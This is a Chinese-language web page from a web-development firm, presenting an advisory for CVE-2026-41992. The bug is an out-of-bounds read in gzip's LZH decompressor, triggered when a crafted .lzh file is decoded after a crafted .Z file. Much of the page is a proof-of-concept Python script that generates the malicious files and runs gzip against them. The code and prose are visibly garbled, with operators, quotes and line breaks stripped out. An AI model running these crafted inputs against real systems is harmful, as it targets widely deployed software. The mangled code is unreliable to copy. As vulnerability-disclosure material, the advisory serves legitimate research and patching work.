ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CVE-2026-41992 — gzip LZH 解压共享全局数组越界读

CVE-2026-41992 — gzip LZH 解压共享全局数组越界读 CVE-2026-41992 — gzip LZH 解压共享全局数组越界读漏洞详情CVE: CVE-2026-41992 (CERT.PL 报告, 上游 commit 63dbf6b3 “don’t mishandle .lzh after .Z”)类型: 越界读 (CWE-125) — 未初始化/残留共享全局状态; NVD: “reads past the end of the allocated global buffer”受影响版本: gzip ≤ 1.14 (bug 自始存在)本机版本: 1.12-1ubuntu3.1修复版本: 1.12-1ubuntu3.2 (gzip 1.13,debian/patches/CVE-2026-41992.patch)触发原理gzip 单进程内跨文件共享全局数组prev(65536 项):deflate LZ77 哈希链 / unlzw LZW 前缀表 (tab_prefix prev,head prevWSIZE)unlzh.c 将其#define left prev / right head作 Huffman 树同一gzip -dc调用先解压恶意.Z(LZW), 再解压恶意.lzh(LZH) 时:.Z解码把prev[0..65535]填满 LZW 前缀表 — 攻击者完全可控.lzh的read_c_len()走 n0 分支:c_table[i]511;decode_c()取j511NC(511)后沿left/right走树精心构造.Z使prev[33279]32776→ 首步right[511]32776→次步right[32776]prev[3276832776]prev[65544]→越出 65536 项数组 8 项 (16 字节)复现 (实测)python3 poc.py# 生成 evil.Z evil.lzh 并跑全部验证# 对照1: gzip -dc evil.Z → RC0 (LZW 编码器合法)# 对照2: gzip -dc evil.lzh → RC0 (无 .Z 污染, walk 立即终止)# 触发: gzip -dc evil.Z evil.lzh → 系统版静默越界读# ASan: gzip-1.12-asan -dc evil.Z evil.lzh# → ERROR: AddressSanitizer: global-buffer-overflow# READ of size 2 ... 16 bytes after global variable prev (size 131072)# #0 decode_c unlzh.c:294# 修复版 (victim/build_fixed_asan.sh, memzero left/right): 无 ASan 报错证据: evidence.log; ASan 构建: victim/攻击几何 (PoC 核心).Z编码器复刻 unlzw.c 状态机: step j 起始free_ent254j, 宽度切换在j258/770/1794/3842/7938/16130/32514, resetbuf 归零 → baserel 位模型码流:c_10, c_2..c_5121..511, c_513..511,c_{33024}32776→ 条目33279 前缀 32776 →head[511]prev[33279]32776.lzh72 比特: blocksize1 | pt n0,c0 | cl n0,c511 | pp n0,c15 |dir1111 | 块结束标记 (16 位 0)修复建议升级至 1.12-1ubuntu3.2; 上游在 n0 分支memzero(left/right)使残留表不复用(上游注释: 保守修复, 未完全分析所有路径)。PoC#!/usr/bin/env python3# CVE-2026-41992 PoC: gzip LZH 解压共享全局数组越界读 — 纯标准库# # 原理 (NVD gzip 上游 commit 63dbf6b3 dont mishandle .lzh after .Z):# gzip 单进程内共享全局数组 prev (65536 项; deflate LZ77 哈希链 / unlzw LZW# 前缀表 tab_prefixprev; unlzh.c 将其 #define 为 left/right 作 Huffman 树),# 文件之间不重置。head[511]prev[WSIZE511]prev[33279]。# 1) 恶意 .Z (LZW): 构造代码流使条目 33279 的 prefix32776 →# prev[33279]32776 (head[511]prev[33279])# 2) 恶意 .lzh: read_c_len() n0 分支 c_table[i]511; decode_c() 取# j511NC 后按 left/right 走树: 首步 right[511]32776,# 下一步 right[32776]prev[3276832776]prev[65544] → 越出 65536 项# 全局数组 8 项 (16 字节) → 越界读 (NVD: reads past the end of the# allocated global buffer)# ASan 构建: 立即 global-buffer-overflow 中止; 系统 gzip (无插桩): 静默越界读。# 修复: 1.12-1ubuntu3.2 在 n0 分支 memzero(left/right) → walk 立即以 j0 终止。# importsubprocess, sys, os WORK/home/jay/.cve-work/CVE-2026-41992os.makedirs(WORK,exist_okTrue)os.chdir(WORK)print( 环境 )print(subprocess.run([gzip,--version],stdoutsubprocess.PIPE,stderrsubprocess.PIPE).stdout.decode(utf-8,replace).splitlines()[0])# ---------- 1. 构造恶意 .Z (LZW 压缩流, 无 block mode, maxbits16) ----------# 解码器 (unlzw.c): free_ent 初始 256; step j 起始 free_ent 254j;# 宽度切换: j258→10位, 770→11, 1794→12, 3842→13, 7938→14, 16130→15, 32514→16;# 条目 E 在 step jE-254 创建, prefix c_{j-1}; resetbuf 归零 posbits →# base(移出位)rel(缓冲内位) 模型N33040codes[0] list(range(1,512))[511]*(N -512)assert len(codes)N codes[33024-1]32776# c_{33024} → entry 33279 prefix32776 → head[511]prev[33279]32776# walk 第2步: right[32776]prev[3276832776]prev[65544] 越界 8 项assert codes[33024-1]25433024# LZW 有效性: code free_entbits[]base0rel0free_ent, n_bits, maxcode, maxmaxcode255,9,511,116def emit(code, width): global relforiinrange(width): bits.append((codei)1)relwidth for j in range(1,N1):if free_entmaxcode:nbn_bits*8rel2(rel-1)(nb-(rel-1nb)%nb)bits[0]*(rel2-rel)relrel2 orel3baseo*8rel-o*8n_bits1maxcodemaxmaxcode if n_bits16else(1n_bits)-1emit(codes[j-1],n_bits)free_ent1def pack_lsb(bits):outbytearray()for i in range(0,len(bits)-7,8):b0for k in range(8):b|bits[ik]k out.append(b)remlen(bits)%8if rem:b0for k in range(rem):b|bits[len(bits)-remk]k out.append(b)return bytes(out)evil_zbytes([0x1F,0x9D,0x10])pack_lsb(bits)with open(evil.Z,wb)as f:f.write(evil_z)print(f[] evil.Z 生成:{len(evil_z)} 字节({N} 个 LZW 码,c_{{33024}}32776))#----------2.构造恶意 .lzh(SCO LZH,magic0x1F0xA0)----------# 比特流(MSB-first):blocksize1|pt_len n0,c0|c_len n0,c511|# pp n0,c15|walk 方向1111|块结束标记 blocksize0(16位0→ decode_c 返 NC)payload[0]*15[1] payload[0]*5[0]*5payload[0]*9[1]*9payload[0]*4[1]*4payload[1]*24# walk 方向位冗余(窗口52..67全1→ 右支)payload[0]*16# 块结束标记(第2块 blocksize0→ decode_c 返 NC)assert len(payload)92def pack_msb(bits):outbytearray()acc,cnt0,0for b in bits:acc(acc1)|b cnt1if cnt8:out.append(acc);acc0;cnt0if cnt:out.append(acc(8-cnt))returnbytes(out)evil_lzhbytes([0x1F, 0xA0]) pack_msb(payload)with open(evil.lzh,wb)as f: f.write(evil_lzh)print(f[] evil.lzh 生成: {len(evil_lzh)} 字节 (72 比特触发流))# ---------- 3. 实跑验证 ----------print(\n 对照1: 仅解压 evil.Z (验证 .Z 编码器合法, 应快速退出 0) )r1subprocess.run([gzip,-dc,evil.Z],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r1.returncode} 输出 {len(r1.stdout)} 字节)print(\n 对照2: 仅解压 evil.lzh (无 .Z 污染, 应快速退出 0) )r2subprocess.run([gzip,-dc,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r2.returncode} 输出 {len(r2.stdout)} 字节)print(\n 触发: gzip -dc evil.Z evil.lzh (同一进程先 .Z 后 .lzh) )r3subprocess.run([gzip,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout15)print(f 系统版 RC{r3.returncode} (无插桩 → 越界读静默发生))print(\n ASan 版 (越界读插桩): 漏洞版 vs 修复版 )asan_binWORK /gzip-1.12-asan/gzipfixed_binWORK /gzip-1.12-asan-fixed/gzipifos.path.exists(asan_bin): r4subprocess.run([asan_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)errr4.stderr.decode(utf-8,replace)print(f 漏洞版 ASan RC{r4.returncode})forlinerr.splitlines():ifglobal-buffer-overflowinl orREAD of sizeinl orSUMMARYinl\orlocatedinl: print( l.strip())ifos.path.exists(fixed_bin): r5subprocess.run([fixed_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)err5r5.stderr.decode(utf-8,replace)asan_errany(AddressSanitizerinlforlinerr5.splitlines())print(f 修复版 ASan RC{r5.returncode} ASan报错{asan_err} f(修复 n0 分支清空 left/right → walk 立即以 j0 终止, 无越界读))
返回列表